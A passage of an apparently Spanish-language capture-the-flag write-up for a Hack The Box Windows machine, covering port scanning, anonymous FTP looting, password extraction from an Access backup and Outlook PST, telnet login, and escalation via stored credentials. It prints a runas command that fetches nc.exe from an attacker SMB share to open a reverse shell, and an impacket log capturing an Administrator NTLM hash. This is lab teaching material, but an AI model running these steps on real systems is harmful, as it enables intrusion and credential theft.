</span></span><span style="display:flex;"><span>Completed SYN Stealth Scan at 11:12, 0.42s elapsed (3 total ports)
</span></span><span style="display:flex;"><span>Initiating Service scan at 11:12
</span></span><span style="display:flex;"><span>Scanning 3 services on 10.10.10.98
</span></span><span style="display:flex;"><span>Completed Service scan at 11:15, 161.96s elapsed (3 services on 1 host)
</span></span><span style="display:flex;"><span>Initiating OS detection (try #1) against 10.10.10.98
</span></span><span style="display:flex;"><span>adjust_timeouts2: packet supposedly had rtt of -62414 microseconds.  Ignoring time.
</span></span><span style="display:flex;"><span>adjust_timeouts2: packet supposedly had rtt of -62414 microseconds.  Ignoring time.
</span></span><span style="display:flex;"><span>Retrying OS detection (try #2) against 10.10.10.98
</span></span><span style="display:flex;"><span>Initiating Traceroute at 11:15
</span></span><span style="display:flex;"><span>Completed Traceroute at 11:15, 0.20s elapsed
</span></span><span style="display:flex;"><span>NSE: Script scanning 10.10.10.98.
</span></span><span style="display:flex;"><span>Initiating NSE at 11:15
</span></span><span style="display:flex;"><span>NSE: [ftp-bounce] PORT response: 501 Server cannot accept argument.
</span></span><span style="display:flex;"><span>Completed NSE at 11:16, 31.40s elapsed
</span></span><span style="display:flex;"><span>Initiating NSE at 11:16
</span></span><span style="display:flex;"><span>Completed NSE at 11:16, 1.34s elapsed
</span></span><span style="display:flex;"><span>Nmap scan report for 10.10.10.98
</span></span><span style="display:flex;"><span>Host is up (0.18s latency).
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>PORT   STATE SERVICE VERSION
</span></span><span style="display:flex;"><span>21/tcp open  ftp     Microsoft ftpd
</span></span><span style="display:flex;"><span>| ftp-anon: Anonymous FTP login allowed (FTP code 230)
</span></span><span style="display:flex;"><span>|_Can&#39;t get directory listing: TIMEOUT
</span></span><span style="display:flex;"><span>| ftp-syst:
</span></span><span style="display:flex;"><span>|_  SYST: Windows_NT
</span></span><span style="display:flex;"><span>23/tcp open  telnet?
</span></span><span style="display:flex;"><span>80/tcp open  http    Microsoft IIS httpd 7.5
</span></span><span style="display:flex;"><span>| http-methods:
</span></span><span style="display:flex;"><span>|   Supported Methods: OPTIONS TRACE GET HEAD POST
</span></span><span style="display:flex;"><span>|_  Potentially risky methods: TRACE
</span></span><span style="display:flex;"><span>|_http-server-header: Microsoft-IIS/7.5
</span></span><span style="display:flex;"><span>|_http-title: MegaCorp
</span></span><span style="display:flex;"><span>Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
</span></span><span style="display:flex;"><span>Device type: general purpose|phone|specialized
</span></span><span style="display:flex;"><span>Running (JUST GUESSING): Microsoft Windows 8|Phone|2008|7|8.1|Vista|2012 (92%)
</span></span><span style="display:flex;"><span>OS CPE: cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_7 cpe:/o:m
</span></span><span style="display:flex;"><span>icrosoft:windows_8.1 cpe:/o:microsoft:windows_vista::- cpe:/o:microsoft:windows_vista::sp1 cpe:/o:microsoft:windows_server_2012
</span></span><span style="display:flex;"><span>Aggressive OS guesses: Microsoft Windows 8.1 Update 1 (92%), Microsoft Windows Phone 7.5 or 8.0 (92%), Microsoft Windows 7 or Windows S
</span></span><span style="display:flex;"><span>erver 2008 R2 (91%), Microsoft Windows Server 2008 R2 (91%), Microsoft Windows Server 2008 R2 or Windows 8.1 (91%), Microsoft Windows S
</span></span><span style="display:flex;"><span>erver 2008 R2 SP1 or Windows 8 (91%), Microsoft Windows 7 (91%), Microsoft Windows 7 Professional or Windows 8 (91%), Microsoft Windows
</span></span><span style="display:flex;"><span> 7 SP1 or Windows Server 2008 R2 (91%), Microsoft Windows 7 SP1 or Windows Server 2008 SP2 or 2008 R2 SP1 (91%)
</span></span><span style="display:flex;"><span>No exact OS matches for host (test conditions non-ideal).
</span></span><span style="display:flex;"><span>Uptime guess: 0.025 days (since Thu Jan  3 10:40:39 2019)
</span></span><span style="display:flex;"><span>Network Distance: 2 hops
</span></span><span style="display:flex;"><span>TCP Sequence Prediction: Difficulty=260 (Good luck!)
</span></span><span style="display:flex;"><span>IP ID Sequence Generation: Incremental
</span></span><span style="display:flex;"><span>Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>TRACEROUTE (using port 80/tcp)
</span></span><span style="display:flex;"><span>HOP RTT       ADDRESS
</span></span><span style="display:flex;"><span>1   185.77 ms 10.10.12.1
</span></span><span style="display:flex;"><span>2   188.09 ms 10.10.10.98
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>NSE: Script Post-scanning.
</span></span><span style="display:flex;"><span>Initiating NSE at 11:16
</span></span><span style="display:flex;"><span>Completed NSE at 11:16, 0.00s elapsed
</span></span><span style="display:flex;"><span>Initiating NSE at 11:16
</span></span><span style="display:flex;"><span>Completed NSE at 11:16, 0.00s elapsed
</span></span><span style="display:flex;"><span>Read data files from: /usr/bin/../share/nmap
</span></span><span style="display:flex;"><span>OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
</span></span><span style="display:flex;"><span>Nmap done: 1 IP address (1 host up) scanned in 204.12 seconds
</span></span><span style="display:flex;"><span>           Raw packets sent: 100 (8.298KB) | Rcvd: 48 (3.024KB)
</span></span></code></pre></div><ul>
<li><code>-A</code>: El parámetro por defecto mas utilizado en <code>nmap</code>, es una abreviación de <code>-sV -sC -O</code></li>
<li><code>-T4</code>: Equivalente al modo agresivo de tiempos aka <code>--max-rtt-timeout 1250 --initial-rtt-timeout 500 --max-retries 6</code></li>
<li><code>-p80,23,21</code>: Los puertos a analizar</li>
<li><code>--open</code>: Solo puertos abiertos, redundante porque ya enumeramos los puertos sorry</li>
<li><code>-v</code>: Muestrame más</li>
<li><code>-n</code>: No resuelvas nada nmap!</li>
</ul>
<p>Tenemos un ftp que permite el ingreso a cualquiera, un telnet medio dummy aka Windows Telnet, un IIS 7.5 de MegaCorp. Comencemos por el servidor HTTP.</p>
<h1 id="gobuster">Gobuster</h1>
<p>Tenia que mencionarlo, le tire un gobuster y no encontré nada relevante para mí D:</p>
<p>Continué con el siguiente servicio.</p>
<h1 id="get-a-ftp-mirror">Get a FTP Mirror</h1>
<p>Para el servicio FTP que tiene acceso anónimo, decidí usar wget mirror, el cual luce de la siguiente manera:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/access/ftp-anon$ wget --no-passive-ftp -m ftp://anonymous:@10.10.10.98/
</span></span><span style="display:flex;"><span>--2019-01-03 11:53:53--  ftp://anonymous:*password*@10.10.10.98/
</span></span><span style="display:flex;"><span>           =&gt; “10.10.10.98/.listing”
</span></span><span style="display:flex;"><span>Conectando con 10.10.10.98:21... conectado.
</span></span><span style="display:flex;"><span>Identificándose como anonymous ... ¡Dentro!
</span></span><span style="display:flex;"><span>==&gt; SYST ... hecho.   ==&gt; PWD ... hecho.
</span></span><span style="display:flex;"><span>==&gt; TYPE I ... hecho.  ==&gt; no se necesita CWD.
</span></span><span style="display:flex;"><span>==&gt; PORT ... hecho.   ==&gt; LIST ... hecho.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.98/.listing                  [ &lt;=&gt;                                                         ]      97  --.-KB/s    en 0s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>==&gt; PORT ... hecho.   ==&gt; LIST ... hecho.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.98/.listing                  [ &lt;=&gt;                                                         ]      97  --.-KB/s    en 0s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-03 11:53:56 (10.6 MB/s) - “10.10.10.98/.listing” guardado [194]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-03 11:53:56--  ftp://anonymous:*password*@10.10.10.98/Backups/
</span></span><span style="display:flex;"><span>           =&gt; “10.10.10.98/Backups/.listing”
</span></span><span style="display:flex;"><span>==&gt; CWD (1) /Backups ... hecho.
</span></span><span style="display:flex;"><span>==&gt; PORT ... hecho.   ==&gt; LIST ... hecho.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.98/Backups/.listing          [ &lt;=&gt;                                                         ]      51  --.-KB/s    en 0s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-03 11:53:57 (2.80 MB/s) - “10.10.10.98/Backups/.listing” guardado [51]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-03 11:53:57--  ftp://anonymous:*password*@10.10.10.98/Backups/backup.mdb
</span></span><span style="display:flex;"><span>           =&gt; “10.10.10.98/Backups/backup.mdb”
</span></span><span style="display:flex;"><span>==&gt; no se requiere CWD.
</span></span><span style="display:flex;"><span>==&gt; PORT ... hecho.   ==&gt; RETR backup.mdb ... hecho.
</span></span><span style="display:flex;"><span>Longitud: 5652480 (5.4M)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.98/Backups/backup.mdb    100%[============================================================&gt;]   5.39M   273KB/s    en 22s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-03 11:54:20 (248 KB/s) - “10.10.10.98/Backups/backup.mdb” guardado [5652480]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-03 11:54:20--  ftp://anonymous:*password*@10.10.10.98/Engineer/
</span></span><span style="display:flex;"><span>           =&gt; “10.10.10.98/Engineer/.listing”
</span></span><span style="display:flex;"><span>==&gt; CWD (1) /Engineer ... hecho.
</span></span><span style="display:flex;"><span>==&gt; PORT ... hecho.   ==&gt; LIST ... hecho.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.98/Engineer/.listing         [ &lt;=&gt;                                                         ]      59  --.-KB/s    en 0s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-03 11:54:20 (3.00 MB/s) - “10.10.10.98/Engineer/.listing” guardado [59]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-03 11:54:20--  ftp://anonymous:*password*@10.10.10.98/Engineer/Access%20Control.zip
</span></span><span style="display:flex;"><span>           =&gt; “10.10.10.98/Engineer/Access Control.zip”
</span></span><span style="display:flex;"><span>==&gt; no se requiere CWD.
</span></span><span style="display:flex;"><span>==&gt; PORT ... hecho.   ==&gt; RETR Access Control.zip ... hecho.
</span></span><span style="display:flex;"><span>Longitud: 10870 (11K)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.98/Engineer/Access Contr 100%[============================================================&gt;]  10.62K  28.8KB/s    en 0.4s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-03 11:54:22 (28.8 KB/s) - “10.10.10.98/Engineer/Access Control.zip” guardado [10870]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>ACABADO --2019-01-03 11:54:22--
</span></span><span style="display:flex;"><span>Tiempo total de reloj: 28s
</span></span><span style="display:flex;"><span>Descargados: 5 ficheros, 5.4M en 23s (245 KB/s)
</span></span></code></pre></div><p>Parámetros;</p>
<ul>
<li><code>-m</code>: Modo mirror. Copia todo recursivamente, como lo encuentres</li>
<li><code>--no-passive-ftp</code>: Elegimos no usar el modo pasivo (cuando el server se conecta al cliente post login)</li>
<li><code>ftp://anonymous:@10.10.10.98</code>: Básicamente esta sentencia dice, conéctate por FTP, usa el usuario anonymous sin pass a la ip 10.10.10.98</li>
</ul>
<p>Nos traemos un archivo zip, <code>Access Control.zip</code> y un archivo con extensión <strong>mdb</strong>, <code>backup.mdb</code>.</p>
<p>Analicemos el backup.</p>
<h1 id="mdb-reading">MDB reading</h1>
<p>He de confesar que no conocía este tipo de archivo y que después de googlear un poco acerca de su contenido-formato, encontré la herramienta para explorarlo. Empecé por listar las tablas:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/access$ mdb-tables ftp-anon/10.10.10.98/Backups/backup.mdb
</span></span><span style="display:flex;"><span>acc_antiback acc_door acc_firstopen acc_firstopen_emp acc_holidays acc_interlock acc_levelset acc_levelset_door_group acc_linkageio acc_map acc_mapdoorpos acc_morecardempgroup acc_morecardgroup acc_timeseg acc_wiegandfmt ACGroup acholiday ACTimeZones action_log AlarmLog areaadmin att_attreport att_waitforprocessdata attcalclog attexception AuditedExc auth_group_permissions auth_message auth_permission auth_user auth_user_groups auth_user_user_permissions base_additiondata base_appoption base_basecode base_datatranslation base_operatortemplate base_personaloption base_strresource base_strtranslation base_systemoption CHECKEXACT CHECKINOUT dbbackuplog DEPARTMENTS deptadmin DeptUsedSchs devcmds devcmds_bak django_content_type django_session EmOpLog empitemdefine EXCNOTES FaceTemp iclock_dstime iclock_oplog iclock_testdata iclock_testdata_admin_area iclock_testdata_admin_dept LeaveClass LeaveClass1 Machines NUM_RUN NUM_RUN_DEIL operatecmds personnel_area personnel_cardtype personnel_empchange personnel_leavelog ReportItem SchClass SECURITYDETAILS ServerLog SHIFT TBKEY TBSMSALLOT TBSMSINFO TEMPLATE USER_OF_RUN USER_SPEDAY UserACMachines UserACPrivilege USERINFO userinfo_attarea UsersMachines UserUpdates worktable_groupmsg worktable_instantmsg worktable_msgtype worktable_usrmsg ZKAttendanceMonthStatistics acc_levelset_emp acc_morecardset ACUnlockComb AttParam auth_group AUTHDEVICE base_option dbapp_viewmodel FingerVein devlog HOLIDAYS personnel_issuecard SystemLog USER_TEMP_SCH UserUsedSClasses acc_monitor_log OfflinePermitGroups OfflinePermitUsers OfflinePermitDoors LossCard TmpPermitGroups TmpPermitUsers TmpPermitDoors ParamSet acc_reader acc_auxiliary STD_WiegandFmt CustomReport ReportField BioTemplate FaceTempEx FingerVeinEx TEMPLATEEx
</span></span></code></pre></div><p>Ahora que soy capaz de listar las tablas, se me ocurrió buscar dentro de cada tabla la palabra <strong>password</strong>, para ello realice el siguiente for en bash:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/access$ for TABLE in $(mdb-tables ftp-anon/10.10.10.98/Backups/backup.mdb); do mdb-export ftp-anon/10.10.10.98/Backups/backup.mdb ${TABLE} | grep password &amp;&amp; printf &#34;La tabla es %s\n&#34; ${TABLE}; done
</span></span><span style="display:flex;"><span>id,username,password,Status,last_login,RoleID,Remark
</span></span><span style="display:flex;"><span>La tabla es auth_user
</span></span></code></pre></div><p>Hemos encontrado una tabla curiosa, <code>auth_user</code>, exportamos al <em>STDOUT</em> el contenido de la tabla.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/access$ mdb-export ftp-anon/10.10.10.98/Backups/backup.mdb auth_user
</span></span><span style="display:flex;"><span>id,username,password,Status,last_login,RoleID,Remark
</span></span><span style="display:flex;"><span>25,&#34;admin&#34;,&#34;admin&#34;,1,&#34;08/23/18 21:11:47&#34;,26,
</span></span><span style="display:flex;"><span>27,&#34;engineer&#34;,&#34;access4u@security&#34;,1,&#34;08/23/18 21:13:36&#34;,26,
</span></span><span style="display:flex;"><span>28,&#34;backup_admin&#34;,&#34;admin&#34;,1,&#34;08/23/18 21:14:02&#34;,26,
</span></span></code></pre></div><p>Si recordamos hace unos momentos del mirror, teníamos una carpeta llamada Engineer, en donde había un archivo zip. Puede que esta sea su password.</p>
<blockquote>
<p>Password for engineer is access4u@security</p>
</blockquote>
<h1 id="unzip-access-control-file">Unzip Access Control file</h1>
<p>Efectivamente, era la contraseña del ZIP. Siempre es bueno intentar todo lo nuevo que aprendamos de la enumeración.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/access/ftp-anon/10.10.10.98/Engineer$ 7z x Access\ Control.zip
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
</span></span><span style="display:flex;"><span>p7zip Version 16.02 (locale=es_MX.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs Intel(R) Core(TM) i5-4200U CPU @ 1.60GHz (40651),ASM,AES-N
</span></span><span style="display:flex;"><span>I)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Scanning the drive for archives:
</span></span><span style="display:flex;"><span>1 file, 10870 bytes (11 KiB)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Extracting archive: Access Control.zip
</span></span><span style="display:flex;"><span>--
</span></span><span style="display:flex;"><span>Path = Access Control.zip
</span></span><span style="display:flex;"><span>Type = zip
</span></span><span style="display:flex;"><span>Physical Size = 10870
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Enter password (will not be echoed):
</span></span><span style="display:flex;"><span>Everything is Ok
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Size:       271360
</span></span><span style="display:flex;"><span>Compressed: 10870
</span></span></code></pre></div><p>Desafortunadamente para la solución, no le estoy pasando como argumento la contraseña, pero les puedo asegurar que esa es la pass.</p>
<h1 id="read-pst-file">Read PST file</h1>
<p>Después de descomprimir el zip, tenemos un archivo con extensión <strong>PST</strong>, que es comúnmente usado por Outlook/Exchange, para almacenar los correos como un archivo, similar a EML. Exploramos este archivo con <code>readpst</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/access/ftp-anon/10.10.10.98/Engineer$ readpst Access\ Control.pst
</span></span><span style="display:flex;"><span>Opening PST file and indexes...
</span></span><span style="display:flex;"><span>Processing Folder &#34;Deleted Items&#34;
</span></span><span style="display:flex;"><span>        &#34;Access Control&#34; - 2 items done, 0 items skipped.
</span></span></code></pre></div><p>Tenemos un archivo tipo <strong>MBOX</strong> como salida, el cual simplemente pasamos por <code>strings</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/access/ftp-anon/10.10.10.98/Engineer$ strings Access\ Control.mbox00000001
</span></span><span style="display:flex;"><span>From &#34;john@megacorp.com&#34; Thu Aug 23 18:44:07 2018
</span></span><span style="display:flex;"><span>Status: RO
</span></span><span style="display:flex;"><span>From: john@megacorp.com &lt;john@megacorp.com&gt;
</span></span><span style="display:flex;"><span>Subject: MegaCorp Access Control System &#34;security&#34; account
</span></span><span style="display:flex;"><span>To: &#39;security@accesscontrolsystems.com&#39;
</span></span><span style="display:flex;"><span>Date: Thu, 23 Aug 2018 23:44:07 +0000
</span></span><span style="display:flex;"><span>MIME-Version: 1.0
</span></span><span style="display:flex;"><span>Content-Type: multipart/mixed;
</span></span><span style="display:flex;"><span>        boundary=&#34;--boundary-LibPST-iamunique-1807661852_-_-&#34;
</span></span><span style="display:flex;"><span>----boundary-LibPST-iamunique-1807661852_-_-
</span></span><span style="display:flex;"><span>Content-Type: multipart/alternative;
</span></span><span style="display:flex;"><span>        boundary=&#34;alt---boundary-LibPST-iamunique-1807661852_-_-&#34;
</span></span><span style="display:flex;"><span>--alt---boundary-LibPST-iamunique-1807661852_-_-
</span></span><span style="display:flex;"><span>Content-Type: text/plain; charset=&#34;utf-8&#34;
</span></span><span style="display:flex;"><span>Hi there,
</span></span><span style="display:flex;"><span>The password for the
</span></span><span style="display:flex;"><span>security
</span></span><span style="display:flex;"><span> account has been changed to 4Cc3ssC0ntr0ller.  Please ensure this is passed on to your engineers.
</span></span><span style="display:flex;"><span>Regards,
</span></span><span style="display:flex;"><span>John
</span></span></code></pre></div><p>Corte el contenido posterior para no dejar muy extensa esta parte.</p>
<p>Descubrimos que la password de la cuenta <em>security</em> es <strong>4Cc3ssC0ntr0ller</strong>.</p>
<blockquote>
<p>Creds for telnet is security / 4Cc3ssC0ntr0ller</p>
</blockquote>
<h1 id="cat-usertxt"><em>cat user.txt</em></h1>
<p>Usando estas credenciales, ingresemos por telnet:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/access/ftp-anon/10.10.10.98/Engineer$ telnet 10.10.10.98
</span></span><span style="display:flex;"><span>Trying 10.10.10.98...
</span></span><span style="display:flex;"><span>Connected to 10.10.10.98.
</span></span><span style="display:flex;"><span>Escape character is &#39;^]&#39;.
</span></span><span style="display:flex;"><span>Welcome to Microsoft Telnet Service
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>login: security
</span></span><span style="display:flex;"><span>password:
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>*===============================================================
</span></span><span style="display:flex;"><span>Microsoft Telnet Server.
</span></span><span style="display:flex;"><span>*===============================================================
</span></span><span style="display:flex;"><span>C:\Users\security&gt;cd Desktop
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>C:\Users\security\Desktop&gt;type user.txt
</span></span></code></pre></div><p>Listo, hemos obtenido la flag de user.</p>
<h1 id="privesc">PrivEsc</h1>
<p>Después de verificar algunos datos sobre la cuenta, enumerar y enumerar un rato, encontré algo curioso con cmdkey:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>C:\Users\security\Desktop&gt;cmdkey /list
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Currently stored credentials:
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    Target: Domain:interactive=ACCESS\Administrator
</span></span><span style="display:flex;"><span>                                                       Type: Domain Password
</span></span><span style="display:flex;"><span>    User: ACCESS\Administrator
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    Target: Domain:interactive=administrator@10.10.10.98
</span></span><span style="display:flex;"><span>                                                            Type: Domain Password
</span></span><span style="display:flex;"><span>    User: administrator@10.10.10.98
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    Target: Domain:interactive=access\engineer
</span></span><span style="display:flex;"><span>                                                  Type: Domain Password
</span></span><span style="display:flex;"><span>    User: access\engineer
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>C:\Users\security\Desktop&gt;
</span></span></code></pre></div><p>Tenemos almacenadas las credenciales de Administrator para el usuario engineer! Gracias <code>/list</code>!</p>
<p>Esto significa que es posible usar las credenciales almacenadas para ejecutar instrucciones en nombre de Administrator.</p>
<p>Por cierto si quieren saber mas sobre cmdkey, les dejo este <a href="https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/cmdkey">link</a>.</p>
<h1 id="give-me-a-reverse-shell">Give me a reverse shell</h1>
<p>En mi caso, me complique un poco de más y realice lo siguiente:</p>
<p>Usar las credenciales de Administrator para ejecutar un cmd.exe que remotamente ejecute un netcat que a su vez llame a un cmd. Esto significa que del lado de mi máquina levanta un smbserver y un listener de netcat.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>C:\Users\security&gt;runas /savecred /user:ACCESS\Administrator &#34;c:\windows\system32\cmd.exe /c \\10.10.13.32\a\nc.exe -vn 10.10.13.32 3001 -e cmd.exe&#34;
</span></span></code></pre></div><p>Ejecutando runas (la implementación en windows de sudo y doas):</p>
<ul>
<li><code>/savecred</code>: Usa las credenciales que ya tienes</li>
<li><code>/user:ACCESS\Administrator</code>: El usuario que debe ejecutarlo</li>
<li>command:
<ul>
<li><code>/c</code>: Lanza el comando como oneshot</li>
<li><code>\\10.10.13.32\a\nc.exe</code>: La ubicación remota y completa del ejecutable que se lanzará dentro de <code>cmd.exe</code>, en este caso <code>nc.exe</code>
<ul>
<li><code>-vn</code>: Muestrame mas información y no me resuelvas nada</li>
<li><code>10.10.13.32 3001</code>: Te vas a conectar por netcat a esta direccion y puerto</li>
<li><code>-e cmd.exe</code>: Vas a ejecutar y concatenar este binario despues de conectarte</li>
</ul>
</li>
</ul>
</li>
</ul>
<p>En el lado de mi máquina el smbserver a la escucha con parámetro <code>a</code> como el smbshare y la carpeta donde tengo netcat for win32.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@laptop:/home/xbytemx/git/impacket/examples# python smbserver.py a /home/xbytemx/tools/netcat-win32-1.11/
</span></span><span style="display:flex;"><span>Impacket v0.9.15 - Copyright 2002-2016 Core Security Technologies
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>[*] Config file parsed
</span></span><span style="display:flex;"><span>[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
</span></span><span style="display:flex;"><span>[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
</span></span><span style="display:flex;"><span>[*] Config file parsed
</span></span><span style="display:flex;"><span>[*] Config file parsed
</span></span><span style="display:flex;"><span>[*] Config file parsed
</span></span><span style="display:flex;"><span>[*] Incoming connection (10.10.10.98,49157)
</span></span><span style="display:flex;"><span>[*] AUTHENTICATE_MESSAGE (ACCESS\Administrator,ACCESS)
</span></span><span style="display:flex;"><span>[*] User Administrator\ACCESS authenticated successfully
</span></span><span style="display:flex;"><span>[*] Administrator::ACCESS:4141414141414141:705304e1f134ba65060d2b39864d93c9:010100000000000000ba7acb86acd401eddc87b6510dd4f900000000010010006b004e00760050004b0062004f0053000200100079005200460049006600520055006b00030010006b004e00760050004b0062004f0053000400100079005200460049006600520055006b000700080000ba7acb86acd40106000400020000000800300030000000000000000000000000300000ce9db888d778a45092ce747ee5d6e3db0ded2df675ab47b104b65825609ca8f00a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310033002e0033003200000000000000000000000000
</span></span><span style="display:flex;"><span>[*] AUTHENTICATE_MESSAGE (\,ACCESS)
</span></span><span style="display:flex;"><span>[*] User \ACCESS authenticated successfully
</span></span><span style="display:flex;"><span>[*] :::00::4141414141414141
</span></span><span style="display:flex;"><span>[*] Disconnecting Share(1:IPC$)
</span></span><span style="display:flex;"><span>[-] Unknown level for query path info! 0x109
</span></span><span style="display:flex;"><span>[-] Unknown level for query path info! 0x4
</span></span><span style="display:flex;"><span>[-] Unknown level for query path info! 0x109
</span></span><span style="display:flex;"><span>[*] Disconnecting Share(2:A)
</span></span></code></pre></div><p>Así es, ya tenia la hash de NTLM de Administrator, unos minutos rompiendo y conseguiría la pass, pero fui terco en concatenar comandos.</p>
<p>El netcat en mi máquina esperando el remote shell de cmd.exe:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/access$ ncat -vnlp 3001
</span></span><span style="display:flex;"><span>Ncat: Version 7.70 ( https://nmap.org/ncat )
</span></span><span style="display:flex;"><span>Ncat: Listening on :::3001
</span></span><span style="display:flex;"><span>Ncat: Listening on 0.0.0.0:3001
</span></span><span style="display:flex;"><span>Ncat: Connection from 10.10.10.98.
</span></span><span style="display:flex;"><span>Ncat: Connection from 10.10.10.98:49158.
</span></span><span style="display:flex;"><span>Microsoft Windows [Version 6.1.7600]
</span></span><span style="display:flex;"><span>Copyright (c) 2009 Microsoft Corporation.  All rights reserved.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>C:\Windows\system32&gt;whoami
</span></span><span style="display:flex;"><span>whoami
</span></span><span style="display:flex;"><span>access\administrator
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>C:\Windows\system32&gt;cd c:\Users\Administrator\Desktop\
</span></span><span style="display:flex;"><span>cd c:\Users\Administrator\Desktop\
</span></span></code></pre></div><h1 id="cat-roottxt"><em>cat root.txt</em></h1>
<p>Simplemente obtenemos la flag:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>C:\Users\Administrator\Desktop&gt;type root.txt
</span></span><span style="display:flex;"><span>type root.txt
</span></span></code></pre></div><p>&hellip; and we got root flag and user flag.</p>
<hr>
